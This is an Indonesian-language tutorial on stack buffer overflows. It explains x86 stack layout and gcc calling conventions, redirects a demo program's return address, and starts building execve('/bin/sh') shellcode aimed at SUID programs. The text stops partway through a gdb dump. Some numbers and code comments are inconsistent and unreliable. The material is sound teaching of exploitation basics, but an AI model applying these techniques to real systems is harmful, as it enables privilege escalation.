Buffer Overflow

Pendahuluan

Salah satu jenis vulnerability klasik yang hingga saat ini masih aja terjadi adalah Buffer Overflow (BO). Dalam tulisan ini saya akan berusaha menjelaskan apa dan bagaimana BO terjadi dengan cara sederhana hingga bisa dipahami (mudah-mudahan) oleh target audiens pemula sekalipun.

Prinsip dasar BO sebenarnya sederhana saja yaitu: mengalihkan alur program (tentu saja untuk mengarahkannya ke program/code yang kita buat sendiri :)).

Hal itu bisa terjadi akibat data yang diinputkan oleh user melebihi kapasitas tampung (buffer) yang disediakan oleh program. Jika program tidak menghandel kejadian ini dengan baik, luapan data tadi akan menimpa bagian-bagian penting lainnya dari program.

Data yang diinputkan ini bisa kita atur sedemikian rupa sehingga sebenarnya adalah sebuah program yang melakukan apa yang kita inginkan.

Untuk memahami lebih lanjut terjadinya, sebelumnya kita perlu mengenal bagaimana organisasi memori ketika program berjalan, terutama bagian STACK yang merupakan target utama exploit BO, selain itu juga kita perlu mengerti detail mekanisme pemanggilan fungsi/procedure dalam C. Pengetahuan tentang assembler dan debugging juga akan sangat membantu, tapi itu tidak mutlak, jadi tenang saja, OK? :).

Dasar Teori

Memori & addressing

Sebenarnya komputer yang kita anggap canggih ini cuma sederetan data (yang disimpan di memori komputer).

gambar-2.1a.

  |-----------------------/ /-----------------------------| 
  | | | | | | | | | | | | / / | | | | | | | | | | | | | | | 
  |-----------------------/ /-----------------------------| 
  0000                                                     4G
  Bottom                                                  Top

Ya, tidak lebih dari itu.

Atau begini...

gambar-2.1b.

  |----| 4G / Top
  |----|
  |----|
  |----|
  |----|
  /    /
  |----|
  |----|
  |----|
  |----|
  |----| 0000 / Bottom

Setiap byte dari memori itu dinomori, supaya mudah mencarinya Begitulah addressing dilakukan, mudah sekali bukan?

Setiap byte memori diatas tadi mampu menampung data sebesar... ya 1 byte :). atau disebut juga 1 character, karena kalau kita ngetik satu huruf berarti membutuhkan 1 byte (sebetulnya bukan itu sih sebabnya, tapi anggap saja begitu deh).

1 byte itu adalah angka, antara 0 s.d. 255. tergantung dulunya diisi berapa. tapi tidak mungkin diluar itu karena kemampuan seorang byte hanyalah segitu.

sebenarnya sih 1 byte itu terdiri dari 8 bit yang berjejer. masing-masing hanya mampu bilang ya atau tidak (1 atau 0). Nah, kombinasinya kan bisa berbeda-beda tuh? jadi dengan bersama-sama mereka bisa menyatakan 256 nilai yang berbeda. Umumnya dinyatakan dalam bilangan hexa 00 s.d. FF.

1 word artinya 2 byte. 1 dword = 2 word = 4 byte.

Jadi misalnya, kalau kita mengambil data 1 dword dari alamat memori 1000, maka kita akan diberi segumpal data dari 1000, 1001, 1002 dan 1003.

Persis seperti peribahasa, bersatu kita teguh, bercerai kawin lagi, kapasitas representasi biner meningkat secara eksponensial jika digabung. contoh, gabungan 2 byte menjadi 1 word mampu menyatakan kombinasi antara 0..FFFF (0..65535) seterusnya kapasitas 1 dword adalah 0..FFFFFFFF atau 0..4294836225. and on.. and on..

Program Execution

Pada saat program di-load ke memori, susunan bagian-bagiannya adalah seperti gambar dibawah ini, (cat. angka-angka address di sini hanya untuk keperluan visualisasi saja):

gambar-2.2.
______________________________________________
     |                             |
     | TEXT/     DATA      STACK   | HEAP
     | CODE                        | 
_____|_____________________________|__________
0000 | 0100      0500      0800    | 1000
     |                             |
     *-------program victim--------*

TEXT/CODE adalah tempat instruksi program berada, bagian ini umumnya bersifat read-only, setiap usaha untuk merubahnya akan berakhir di segmentation violaton.

DATA berisi data konstan, variable statik dll initialized/ uninitialized data, kecuali terjadi stress yang menyebabkan reorganisasi memori, ukurannya relatif tetap, meskipun tidak read-only seperti bagian TEXT.

STACK tempat menampung tumpukan data sementara, dengan operasi khas-nya yaitu PUSH untuk menaruh data diatas tumpukan, dan POP untuk mengambil data dari atas tumpukan. seperti itulah caranya, jadi dengan operasi PUSH/POP kita tidak bisa mengambil data dari tengah.

HEAP adalah daerah memori yang bebas digunakan oleh program.

Operasi Stack

Seperti telah disebutkan diatas, kita hanya dapat menyimpan atau mengambil tumpukan paling atas dari stack (atau paling bawah tergantung bagaimana anda memandangnya :))

Cuma 3 register yang terkait erat dalam operasi stack ini yaitu Stack Segment, Stack Pointer dan Base Pointer (SS, SP dan BP), kita tidak usah pedulikan segmen register, itu urusan kernel (kecuali kalau kita mau buat program di DOS dengan model segmented memory-nya), jadi yang perlu kita tahu cuma SP dan BP . keduanya tidak lebih adalah penunjuk posisi stack. bedanya, SP naik/turun oleh instruksi PUSH/POP, sementara BP tidak, terserah mau kita isi berapa atau bahkan tidak dipakai sama sekali juga tidak apa-apa.

lho jadi apanya yang sulit? ya tidak ada.

perintah PUSH/POP bisa dilakukan untuk bilangan 16bit atau 32bit, atau operasi khusus push all/pop all. SP berkurang/ bertambah sesuai tipe data ini (sejumlah byte yang diperlukan untuk menampung data tsb).

push 16bit_data, SP berkurang 2 push 32bit_data, SP berkurang 4 pusha, SP berkurang 16 pushad, SP berkurang 32

misalnya nilai SP pertama adalah 0100,

  char C;	//character (1 byte)
  short I;	//integer (2 byte)
  long L;	//long integer (4 byte)
  int * P;	//pointer (4 byte)

lalu kita melakukan perintah sbb:

  push C
  push I
  push L
  push P

maka SP akan menjadi: 100-(2+2+2+4+4) = 88

gambar-2.3a.
____//_____________________________________
    //                   |   |   | | |
    //                   | P | L |I|C|
____//___________________|___|___|_|_|_____
    //                   |           |
000                      88          100

mestinya begitu :) tapi atas nama optimasi, tampaknya gcc tidak perduli mau char kek, integer kek atau pointer, semua sama di-push sebagai tipe data 32bit. untuk kita sih ya oke-oke aja, malah tidak repot-repot ngitungnya kan?

jadi SP = 100 - (4*4) = 84

gambar-2.3b.
____//_____________________________________
    //               |   |   |   |   |
    //               | P | L | I | C |
____//_______________|___|___|___|___|_____
    //               |   88  92  96  |
000                  84              100

Stack dan Instruction Pointer (IP)

Satu hal yang penting adalah bahwa (operasi) stack juga digunakan untuk menyimpan Instruction Pointer (IP), yaitu penunjuk arah bagi program (seperti nomor baris perintah dalam BASIC) coba perhatikan cuplikan kode 'canggih' ini.

IP  CODE
--- --------
.
.
100 GOTO 200
200 GOTO 100
.
.

Jika kita bisa merubah IP 200 menjadi misalnya 110, kita akan menghentikan derita tanpa akhir, endless loop dari GOTO diatas.

Dengan kata lain, merubah IP berarti juga *merubah* jalan hidup program, 'cool' kan? :)

Kita tidak bisa menyimpan atau mengambil IP langsung dengan push/pop, tapi melalui instruksi CALL dan RET, misalnya perintah:

  call func

adalah ekuivalen dengan:

  PUSH next_IP to STACK
  JMP to address_func

next_IP tidak lain adalah lokasi selanjutnya (di memori) dari kode instruksi pemanggilan tersebut.

Sebaliknya instruksi RET akan membuat program menuju alamat yang disimpan sebelumnya diatas. (atau tepatnya *apapun* yang terdapat dalam tumpukan stack paling atas).

  POP STACK to temp
  JMP to temp

Seperti juga PUSH/POP instruksi CALL/RET juga merubah nilai SP, tergantung jenis panggilannya, CALL/RET sebanyak 2 poin dan CALL FAR/RETF sebanyak 4 poin. Tapi mungkin ini tidak terlalu penting karena biasanya model pemanggilan di UNIX selalu RETF.

Hal pertama yang dilakukan oleh suatu fungsi adalah menyimpan nilai SP baik-baik, dikunci oleh BP. karena pada saat akhir dia harus mengembalikan nilai SP itu tanpa kurang suatu apapun, kalau tidak nanti bisa digampar kernel, kill(1).

Pemanggilan fungsi

Fungsi pemanggil (misalnya main()) melakukan hal-hal tertentu ketika melakukan pemanggilan fungsi yang berkaitan dengan bagaimana cara High Level Language (HLL, seperti BASIC, C/C++, Pascal, dll.) mengirmkan parameter/argumen.

Dalam C/C++ parameter didorong ke dalam stack, mulai dari ujung (dari param terakhir sesuai syntax), berturut-turut sampai ke param pertama), selanjutnya prosedur pemanggil juga bertanggung jawab untuk meng-offset nilai SP lagi setelah fungsi kembali (sebesar jumlah yang didorong ke stack). Untuk Pascal berlaku hal yang sebaliknya, tapi sudahlah tidak perlu kita bahas :).

prototype:
  void func(int a, int b, int c);

pemanggilan fungsi:
  func(19,09,1969);
 
pemanggilan fungsi dalam assembler:

  pushl $1969	; c
  pushl $9	; b
  pushl $19	; a
  call func	; sama dengan PUSH next_IP, JMP func

  addl $12,%esp	; pada Pascal, fungsi yang dipanggil
		; yang akan melakukan penyesuaian ini

Karena optimisasi program, nilai yang ditumpuk ke stack berupa kelipatan 16, sehingga transalasinya menjadi:

  addl $-4,%esp	; penyesuaian awal, offset penala stack

  pushl $1969	; c
  pushl $9	; b
  pushl $19	; a
  call func	; sama dengan PUSH next_IP, JMP func

  addl $16,%esp	; penala stack dengan alignment 16

Dalam HLL juga dikenal apa yang disebut dengan prolog dan epilog. Sesuai namanya prolog terjadi pada awal fungsi:

 pushl %ebp	; BP disimpan ke stack
 movl %esp,%ebp	; BP disamakan nilainya dengan SP

jika terjadi operasi stack, misalnya memanggil fungsi lain yang menggunakan parameter, stack alignment 16 dilakukan dengan mengurangi SP sebesar 8. hal ini disebabkan karena instruksi call sebelumnya telah mengkonsumsi stack 4 byte (push IP) serta push BP juga telah mengurangi SP sebesar 4.

 subl 8,%esp	; >prologue_set_stack_ptr

dan epilog terjadi di akhir (sebelum instruksi "ret"):

 movl %ebp,%esp	; SP disamakan nilainya dengan BP 
 popl %ebp	; Nilai BP diambil dari stack

atau disingkat:

  leave		; sama saja dengan gabungan dua instruksi
		; diatas, cuma lebih lambrat ;(

Aplikasi

Studi Program

Contoh program di sini menggunakan FreeBSD 4.7, jadi maaf-maaf saja kalau sedikit berbeda, dengan pengantar yang sudah saya jelaskan diatas, mohon disesuaikan sendiri :)

pertama kita lihat output dari program sederhana ini

contoh0.c
------------------------------------------------------------
void func0() {
  /* nothing to do */
}

int main() {
  func0;
}
------------------------------------------------------------

[aa]$gcc -S -dp contoh0.c
option -S adalah untuk membuat listing code assembly, sedangkan
option -dp menambahken keterangan tambahan dalam listing tsb.

kita lihat listing assembly-nya dari file contoh0.s sbb:

------------------------------------------------------------
        .file   "contoh0.c.c"
        .version        "01.01"
gcc2_compiled.:
.text
        .p2align 2,0x90
.globl func0
                .type            func0,@function
func0:
        pushl %ebp      # 9     movsi-2
        movl %esp,%ebp  # 11    movsi+2/1
.L2:
        leave   # 14    leave
        ret     # 15    return_internal
.Lfe1:
                .size            func0,.Lfe1-func0
        .p2align 2,0x90
.globl main
                .type            main,@function
main:
        pushl %ebp      # 12    movsi-2
        movl %esp,%ebp  # 14    movsi+2/1
.L3:
        leave   # 17    leave
        ret     # 18    return_internal
.Lfe2:
                .size            main,.Lfe2-main
        .ident  "GCC: (GNU) c 2.95.4 20020320 [FreeBSD]"
------------------------------------------------------------

Dibawah label func0 dan main, kita peroleh hasil yang sama

prolog:
  pushl %ebp
  movl %esp,%ebp

epilog:
  leave
  ret

Program ini memang tidak melakukan apa-apa, cuma untuk menunjukkan fungsi prolog dan epilog. program ini juga menunjukkan bahwa fungsi main() diperlakukan sama saja dengan fungsi-fungsi lainnya, bedanya adalah bahwa main() adalah fungsi pertama yang dipanggil.

Selanjutnya supaya tidak 'ribet', hasil program akan diekstrak lebih sederhana seperti format diatas, dan kompilasi dilakukan tanpa menggunakan option "-dp".

jika kita tambahkan result pada fungsi main() tadi sbb:

contoh0.c
------------------------------------------------------------
void func0() {
  /* nothing to do */
}

int main() {
  func0;
  return(1); /* return code */
}
------------------------------------------------------------

kita lihat dari listing dibawah, ternyata nilai pengembalian akan disimpan di register EAX, dan setelah itu fungsi/program akan langsung dihentikan/keluar.

------------------------------------------------------------
main:
  pushl %ebp		; >prolog
  movl %esp,%ebp	; >

  movl $1,%eax		; return value = 1
  jmp .L3		; program langsung menuju epilog

.L3:
  leave			; >epilog
  ret			; >
------------------------------------------------------------

Jika kita tambah beberapa fungsi lain yang menggunakan parameter misalnya menjadi seperti contoh1.c dibawah ini:

contoh1.c
------------------------------------------------------------
void func0() { }
void func1(int I) { }
void func2(int I, long L) { }
int  func3(int I, long L, char * c) { }

/*
  int  func_C(char C) { }
  int  func_CS(char C, short S) { }
  int  func_CSD(char C, short S, double D) { }
*/

int main() {
  func0;
  func1(1);
  func2(2, 3);
  func3(4, 5, 6);
/*
  atau sebaiknya dipanggil dengan:
    func3(4, 5, (char *) 6);
  supaya gcc tidak rewel masalah casting.
*/

/*
  func_C('A');
  func_CS('B', 123);
  func_CSD('C', 45678, 91011.1213);
*/ 

  return(0);
}  
------------------------------------------------------------

Ternyata konversi assembly untuk fungsi-fungsi func0 - func3 tersebut semua sama saja, hanya berisi prolog dan epilog, tampaknya selama parameter yang dilewatkan bertipe integer 32 bit atau pointer, maka SP tidak akan diobok-obok oleh fungsi yang dipanggil. Untuk keperluan BO, kebanyakan kita akan melakukan passing pointer.

Untuk tipe data char/short, fungsi akan mengalokasikan stack untuk menampung manipulasi data, sebagaimana variabel lokal, yang akan dibahas d bagian selanjutnya, sedangkan untuk tipe data real dipergunakan juga floating-point stack st0-st7. Silakan buka comment diatas dan lihat sendiri listingnya :).

Pada fungsi main() mulai terjadi 'silat lidah' antara compiler dengan assembler :),

------------------------------------------------------------
main:
  pushl %ebp		; >prolog
  movl %esp,%ebp	; >

  subl $8,%esp		; >prologue_set_stack_ptr
			; >alignment 16, setelah-
			; >(PUSH BP dan IP) = -8

  addl $-12,%esp	; karena hanya ada satu parameter,
  pushl $1		; maka offset penala stack adalah
  call func1		;   (1 * 4) - 16 = -12
  addl $16,%esp		; penala stack, alignment 16

  addl $-8,%esp		; 2 param -> (2 * 4) - 16 = -8
  pushl $3
  pushl $2
  call func2
  addl $16,%esp		; penala stack

  addl $-4,%esp		; 3 param -> (3 * 4) - 16 = -4 
  pushl $6		; jika ada 4 param, maka offset = 0
  pushl $5		; ..dan selanjutnya.. berulang,
  pushl $4		; jika ada 5 param, offset = -12
  call func3		; dengan penala stack = 32
  addl $16,%esp		; 

  xorl %eax,%eax	; cara yang lebih efisien untuk
			; menyatakan EAX=0
  jmp .L6

.L6:
  leave			; >epilog
  ret			; >
------------------------------------------------------------

gambar-3.1a.
  -SP sebelum pemanggilan fungsi ---->
                                     |
  Offset penala stack                |
    func3 -04 ------------------->   |
    func2 -08 --------------->   |   |
    func1 -12 ----------->   |   |   |             main()
____//___________________|___|___|___|___________|___|_
    //               |   |   |   |   |       |   |   | 
    //               | I | L | C | # | sub 8 |BP |RET|
____//_______________|___|___|___|___|_______|___|___|_
    //               |   .   .   |   |       |   |   |
000                  84  .   .   |   100     |       116
                     |   .   .   |   |       |
                     |   <--------alignments->
                     V
  -SP setelah pemanggilan fungsi

Dari gambaran diatas, untuk ketiga fungsi tsb ternyata pada akhirnya SP bernilai sama.

Dalam contoh selanjutnya kita akan membuat variabel lokal

contoh2.c
--------------------------------------------------

Void func1(char * S) {
  char buf0[1];			/* paragraf 1: -24 */
}

void func2(char * S) {
  char buf20[1], buf21[3];	/* paragraf 1: -24 */
}

void func3(char * S) {
  char buf30[1]; char buf31[3]; char buf32[5];
}

void func4(char * S) {
  char buf40[1]; char buf41[3]; char buf42[5];
  char buf43[7];		/* paragraf 2: -40 */
}

void func5(int I, long L, char * P) {
  char buf50[1]; char buf51[3]; char buf52[5];
  char buf53[7];		/* paragraf 2: -40 */
  char buf54[9];		/* paragraf 3: -56 */

/* akses variabel lokal */
  buf50[0]=0; 
  buf51[0]=100; buf51[2]=102;
  buf52[0]=200; buf52[4]=204;
  buf53[0]='3';
  buf54[0]='4';
}

int main(void) {
  char buf0[512];
  func5(12345, 678910, buf0);
}
--------------------------------------------------

Fungsi func1 - func4 dibuat hanya untuk menunjukkan bahwa pengalokasian stack juga dilakukan dalam alignment 16. listing func1, func2 dan func3 adalah identik sbb:

func1, func2 & func 3:
  pushl %ebp		; >prolog
  movl %esp,%ebp	; >
  subl $24,%esp		; >prologue_set_stack_ptr
			; >default 8, +16 = 24

Yang sedikit berbeda adalah func4, stack prolognya dikurangi lagi sejumlah 1 paragraf sehingga total sub menjadi 40.

func 4:
  .
  subl $40,%esp		; >prologue_set_stack_ptr
  .			; >8 + 16 + 16 = 40

Akses terhadap argumen yang diberikan, dapat dilihat dalam listing func5 sbb:

func5:
  pushl %ebp		; >prolog
  movl %esp,%ebp	;
  subl $56,%esp		; >prologue_set_stack_ptr

  movb $48,-1(%ebp)	; -buf50[0] = '0'
  movb $100,-8(%ebp)	; -buf51[0] = 100
  movb $102,-6(%ebp)	; -buf51[0] = 102
  movb $-56,-16(%ebp)	; -buf52[0] = 200 (unsigned)
  movb $-52,-12(%ebp)	; -buf52[0] = 204 (unsigned)
  movb $30,-24(%ebp)	; -buf53[0] = 30
  movb $36,-18(%ebp)	; -buf53[0] = 36
  movb $40,-36(%ebp)	; -buf54[0] = 40
  movb $48,-28(%ebp)	; -buf54[0] = 48

  leave			; >epilog
  ret			; >

Gambarannya adalah sebagai berikut. Supaya mudah, kita asumsikan bahwa posisi stack sebelum pemanggilan fungsi adalah 100 (Di bawah ini hanya ditunjukkan sampai buf53), Ternyata dalam mengalokasikan variabel lokal, dilakukan alignment 4 atau dword, untuk string yang berisi lebih dari 3 character, sementara yang isinya cuma 1 char tidak dialign sama sekali, coba tuh lihat dibawah, buf50 mepet banget sama BP.

gambar-3.1b.
            >buf53< buf52  buf51 buf50      <---arguments--->
            |     | ^   ^   ^ ^    ^        |    main() 
____//______|_____|_|___|___|_|____||_______|_______________|
    // dst. 3333333 22222   111    0|   |   |   |   |   |   |
    //      |     |X|   |XXX| |XXXX||BP |RET| I | L | S |XXX|
____//______|_____|_|___|___|_|____||___|___|___|___|___|___|
    //      |               |       |       |               |
000         52              68              84              100


legenda:
  X: slack/tidak digunakan akibat alignment
  BP: Base Pointer
  I, L dan S: parameter yang dimasukkan
  RET: Return Address

Oh iya nanti lupa, seperti kita lihat diatas, posisi argumen/ parameter adalah di sebelah kanan BP, jadi diakses dengan offset positif terhadap BP, sebaliknya dengan variabel lokal.

Eh... ngomong-ngomong, memang ada gunanya enggak sih, mengerti tentang hal itu? Hm.. enggak ada ya :(

Mengalihkan Return Address

Mumpung masih hangat, mari kita coba membuat sebuah contoh bagaimana caranya memotong kayu (lho? maaf barusan teringat lagu TK hai tukang kayu), maksud saya adalah mengalihkan alur program dengan cara merubah nilai return address yang tersimpan di stack. Agar lebih mudah kita pakai saja variabel yang mepet ke BP diatas tadi (bedanya cuma 1).

Seperti kita tahu bahwa besarnya stack yang dialokasikan untuk mengamankan BP adalah sebesar 4 poin/byte. Dan disebelahnya saudara-saudara... adalah...: Return Adress!!!

Untuk melaksanakan rencana jahat kita ini, kita perlu bantuan sebuah pointer agar nanti bisa kita rubah seenak udel kita.

kira-kira nanti begini:

  char buf0[1];
	/* ingat, diatas itu tidak beda dengan: char * buf0 */
	/* jadi masih sodara-an lah sama int * ret dibawah */
  int * ret;

kemudian kita arahkan ret ke return address: tolong harap diingat bahwa penambahan di bawah ini adalah untuk pointer ke character / 1 byte. untuk tipe lain, akan berbeda pula incrementasi-nya, untuk pointer ke integer, misalnya, setiap penambahan 1 poin akan menggeser pointer sebanyak 4 byte / lokasi address.

  ret = buf0 +1 +4;

atau kalo gcc rewel, bisa kita cast sebagai:

  (char *) ret = buf0 +1 +4; 

akhirnya kita ubah return address :)

  *ret = (hm... berapa ya?)

sebaiknya kita gunakan variabel saja supaya gampang diubah, sehingga lengkapnya program kita adalah:

contoh3.c
------------------------------------------------------------
void func(int I) {
  char buf0[1];
  int * ret;

  ret = buf0 +1 +4;
  (*ret) += I;
}

int main(int argc, char *argv[]) {
  char * shell[2];
  int i = 0;

  if (argc > 1) i = atoi(argv[1]);

  shell[0]="/bin/sh";
  shell[1]="/usr/local/bin/bash";

  func(i);

  printf("print#1: lokasi1: %X\n", &shell[0]);	/* print#1 */
  printf("print#2: lokasi2: %X\n", &shell[1]);	/* print#2 */
  printf("print#3: shell1: %s\n", shell[0]);	/* print#3 */
  printf("print#4: shell2: %s\n", shell[1]);	/* print#4 */

  return(0);
}
------------------------------------------------------------

Program diatas akan memindahkan alur program sejauh input yang kita berikan. Jangan terlalu diperhatikan baris-baris perintah main() sebelum pemanggilan func. itu cuma inisialisasi serta pengechekan input.

setelah pemanggilan fungsi func *seharusnya* program melaksanakan perintah berikutnya yaitu print#1, tapi jika kita inputkan suatu nilai tertentu sebagai argument maka program akan dilompatkan sejauh nilai yang kita berikan.

[aa]$./contoh3
print#1 lokasi1: BFBFFBA8
print#2 lokasi2: BFBFFBAC
print#3 shell1: /bin/sh
print#4 shell2: /usr/local/bin/bash

kita coba beberapa buah nilai:

[aa]$./contoh3 1
Bus error (core dumped)
[aa]$./contoh3 2
Segmentation fault (core dumped)
[aa]$./contoh3 4
Illegal instruction (core dumped)
[aa]$./contoh3 100
Segmentation fault (core dumped)
[aa]$./contoh3 1000
Segmentation fault (core dumped)
[aa]$./contoh3 -1
Bus error (core dumped)
[aa]$./contoh3 -100
[aa]$./contoh3 -1000
Segmentation fault (core dumped)

Maksudnya apa sih?

Oh iya, saya belum cerita ya? maksudnya kita mau mencoba untuk (misalnya) melompat langsung kepada printf#3, melewati print#1 dan print#2.

kita debug saja deh...

[aa]$gdb -q contoh3
(gdb)
(gdb) disass main
Dump of assembler code for function main:
0x80481ec <main>:       push   %ebp
0x80481ed <main+1>:     mov    %esp,%ebp
0x80481ef <main+3>:     sub    $0x18,%esp
0x80481f2 <main+6>:     movl   $0x0,0xfffffff4(%ebp)
0x80481f9 <main+13>:    cmpl   $0x1,0x8(%ebp)
0x80481fd <main+17>:    jle    0x8048218 <main+44>
0x80481ff <main+19>:    add    $0xfffffff4,%esp
0x8048202 <main+22>:    mov    0xc(%ebp),%eax
0x8048205 <main+25>:    add    $0x4,%eax
0x8048208 <main+28>:    mov    (%eax),%edx
0x804820a <main+30>:    push   %edx
0x804820b <main+31>:    call   0x80483c8 <atoi>
0x8048210 <main+36>:    add    $0x10,%esp
0x8048213 <main+39>:    mov    %eax,%eax
0x8048215 <main+41>:    mov    %eax,0xfffffff4(%ebp)
0x8048218 <main+44>:    movl   $0x8052c8c,0xfffffff8(%ebp)
0x804821f <main+51>:    movl   $0x8052c94,0xfffffffc(%ebp)
0x8048226 <main+58>:    add    $0xfffffff4,%esp
0x8048229 <main+61>:    mov    0xfffffff4(%ebp),%eax
0x804822c <main+64>:    push   %eax
0x804822d <main+65>:    call   0x80481c4 <func>
0x8048232 <main+70>:    add    $0x10,%esp
0x8048235 <main+73>:    add    $0xfffffff8,%esp
0x8048238 <main+76>:    lea    0xfffffff8(%ebp),%eax
0x804823b <main+79>:    push   %eax
0x804823c <main+80>:    push   $0x8052ca8
0x8048241 <main+85>:    call   0x80483e0 <printf>
0x8048246 <main+90>:    add    $0x10,%esp
0x8048249 <main+93>:    add    $0xfffffff8,%esp
0x804824c <main+96>:    lea    0xfffffff8(%ebp),%eax
0x804824f <main+99>:    lea    0x4(%eax),%edx
0x8048252 <main+102>:   push   %edx
0x8048253 <main+103>:   push   $0x8052cb6
0x8048258 <main+108>:   call   0x80483e0 <printf>
---Type <return> to continue, or q <return> to quit---
0x8048260 <main+116>:   add    $0xfffffff8,%esp
0x8048263 <main+119>:   mov    0xfffffff8(%ebp),%eax
0x8048266 <main+122>:   push   %eax
0x8048267 <main+123>:   push   $0x8052cc4
0x804826c <main+128>:   call   0x80483e0 <printf>
0x8048271 <main+133>:   add    $0x10,%esp
0x8048274 <main+136>:   add    $0xfffffff8,%esp
0x8048277 <main+139>:   mov    0xfffffffc(%ebp),%eax
0x804827a <main+142>:   push   %eax
0x804827b <main+143>:   push   $0x8052cd1
0x8048280 <main+148>:   call   0x80483e0 <printf>
0x8048285 <main+153>:   add    $0x10,%esp
0x8048288 <main+156>:   xor    %eax,%eax
0x804828a <main+158>:   jmp    0x804828c <main+160>
0x804828c <main+160>:   leave
0x804828d <main+161>:   ret
End of assembler dump.
(gdb) q
[aa]$

Cuekin saja baris-baris kode diatas tidak kita perlukan, Yang kita butuh adalah address setelah func dipanggil (address ini di-push ke stack pada saat pemanggilan func, nilai inilah yang kita rubah dalam fungsi func)

.
0x804822d <main+65>:    call   0x80481c4 <func>
0x8048232 <main+70>:    add    $0x10,%esp
.

...serta address setelah print#2 dipanggil. kita akan mengalihkan alur program ke sini.

.
0x8048258 <main+108>:   call   0x80483e0 <printf>
0x804825d <main+113>:   add    $0x10,%esp
.

Untuk mengalihkan alur program dari address pertama diatas kepada address kedua, berarti return address harus diubah (ditambah) sebesar selisih antara keduanya.

Dengan aljabar sederhana kita peroleh displacement offsetnya adalah sebesar: <main+113> - <main+70> = 113 - 70 = 43

Mari kita coba sekali lagi...

[aa]$./contoh3 43
print#3: shell1: /bin/sh
print#4: shell2: /usr/local/bin/bash
[aa]$

OK! :))

Exec Syscall

Setelah sukses pertama membelokkan alur program ke tempat yang kita kehendaki selanjutnya kita perlu memilih apa yang akan kita jalankan dan dimana ditempatkannya. Umumnya program akan diarahkan untuk menjalankan shell /bin/sh, karena dari situ praktis kita dapat menjalankan yang lainnya terserah kita, apalagi jika program yang diekploit tersebut SUID root maka tunai sudah suratan, dan mereka hidup bahagia selamanya sampai akhir hayat. eng- ing- eeeng...

untuk spawning shell code kita lihat lihat dan pelajari prototype dari fungsi execve(2).

[aa]$man execve

NAME
  execve - execute a file

LIBRARY
  Standard C Library (libc, -lc)

SYNOPSIS
  #include <unistd.h>

  int
  execve(const char *path, char *const argv[], char *const envp[]);

DESCRIPTION
  Execve() transforms the calling process.. bla-bla-bla...
 

Fungsi ini adalah embahnya fungsi-fungsi exec yang lain, front-end-nya bisa berupa execl, execlp, execle, exect, execv dan execvp. Jika execve sukses dijalankan, selanjutnya program kita bisa jalan sendiri tidak perlu lagi balik atau terikat oleh proses yang memanggilnya. Cocok-lah dengan keinginan kita :)

arg1 (path) harus berisi path string lengkap dari program yang akan kita jalankan, sementara arg2 (argv), adalah argumen list (array dari strings alias pointer ke pointer). Kedua argumen ini *harus* diisi dengan benar.

kita isi arg1 (path) dengan string "/bin/sh" (shell), dan arg2 dengan pointer ke string tsb. dengan NULL sebagai terminator.

baca-baca juga manual exit(3) dan _exit(2) ya?

langsung saja kita lihat program berikut listing assembly-nya:

contoh4.c
------------------------------------------------------------
#include <unistd.h>

int main() {
  char * sh[2];
  sh[0] = "/usr/bin/perl";
  sh[1] = NULL;
  execve(sh[0], sh, NULL);
  _exit(0);
}
------------------------------------------------------------

Hm... sebentar, kita bahas dulu dua instruksi assembler yang agak mirip-mirip, dan bisa membingungkan bahkan menyesatkan yaitu MOV mem,reg dengan LEA mem,reg: LEA artinya Load Effective Address, sementara MOV artinya menyalin/mengkopi isi memori/register.

gambar-3.3.
____//___________________________
    //     |1|3|5|7|9|A|C|E|
    //     |2|4|6|8|0|B|D|F|
____//_____|_|_|_|_|_|_|_|_|_____
    //     |               |
000        92              100

misalkan jika nilai SP sekarang adalah 92, maka instruksi MOVL %ESP,%EAX akan menyalin *isi* ESP seukuran dword atau 12345678 kedalam EAX. jadi, EAX=12345678, sedangkan LEAL %ESP,%EAX akan menyalin *address* ESP atau 00000092 ke dalam EAX. jadi, EAX=00000092.

Dalam syntax intel, instruksi LEA EAX,ESP identik dengan

  mov EAX, OFFSET [ESP]

Dalam syntax att, jika operand untuk mov memakai prefix ($) maka yang diambil adalah: address-nya. Sebaliknya jika tidak memakai prefix, maka yang diambil adalah: isi-memori-nya

movl $var,%eax => EAX = address var
movl var,%eax  => EAX = nilai/isi memori dari var

hati-hati, immediate operand (biasanya berupa angka), justru menggunakan prefix $ seperti dalam: movl $-123,%eax, artinya menjadikan EAX bernilai -123.

Sebaliknya untuk pengalamatan tidak langsung oleh register, notasinya adalah memakai tanda kurung.

mov (%ebx),%eax  : salin isi memory yang alamatnya ditampung
                   oleh BX. nilai BX = address.
mov %ebx,%eax    : salin nilai BX kedalam AX

Kita lihat bahwa offset memory sama dengan nilai BX itu sendiri, jadi jika/selama tidak terdapat displacement lainnya dalam base indexing, maka instruksi: "lea (%ebx),%eax" hasilnya adalah sama saja dengan instruksi: "mov %ebx,%eax"

begitu kira-kira, bingun? yah enggak apa-lah, saya juga enggak yakin he-he-he.

(enggak deh, bo-ong,.. cuma becanda, segitu aja marah, bener begitu koq. sungguh deh... please...)

udah ah, kita lanjut... listingnya adalah sbb:

------------------------------------------------------------
DATA
.LC0:
  .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0

TEXT/CODE
main:
  pushl %ebp		;>prolog
  movl %esp,%ebp	;>
  subl $24,%esp		;>

  movl $.LC0,-8(%ebp)	; address sh[0] / .LC0 / "/bin/sh"
			; disimpan ke stack
  movl $0,-4(%ebp)	; address sh[1] / NULL disimpan ke stack

  addl $-4,%esp		;>offset penala stack
  pushl $0		; arg3 = NULL
  leal -8(%ebp),%eax	; AX = address [BP-8]
  pushl %eax		; arg2 = offset address [BP-8]
  movl -8(%ebp),%eax	; AX = isi memori dari [BP-8]
  pushl %eax		; arg1 = address "/bin/sh" 
  call execve
  addl $16,%esp		;>penala stack

  addl $-12,%esp	;>offset penala stack
  pushl $0		; arg1
  call _exit
  addl $16,%esp		;>penala stack
.L2:
  leave
  ret
------------------------------------------------------------

Kita ambil beberapa baris assembly yang kita perlukan untuk menyusun program kita, yaitu pemanggilan spawning dengan execve dan clean exit

[aa]$gdb -q contoh4
(gdb) disass main
Dump of assembler code for function main:
0x80481d8 <main>:       push   %ebp
0x80481d9 <main+1>:     mov    %esp,%ebp
0x80481db <main+3>:     sub    $0x18,%esp
0x80481de <main+6>:     movl   $0x8049c41,0xfffffff8(%ebp)
0x80481e5 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x80481ec <main+20>:    add    $0xfffffffc,%esp
0x80481ef <main+23>:    push   $0x0
0x80481f1 <main+25>:    lea    0xfffffff8(%ebp),%eax
0x80481f4 <main+28>:    push   %eax
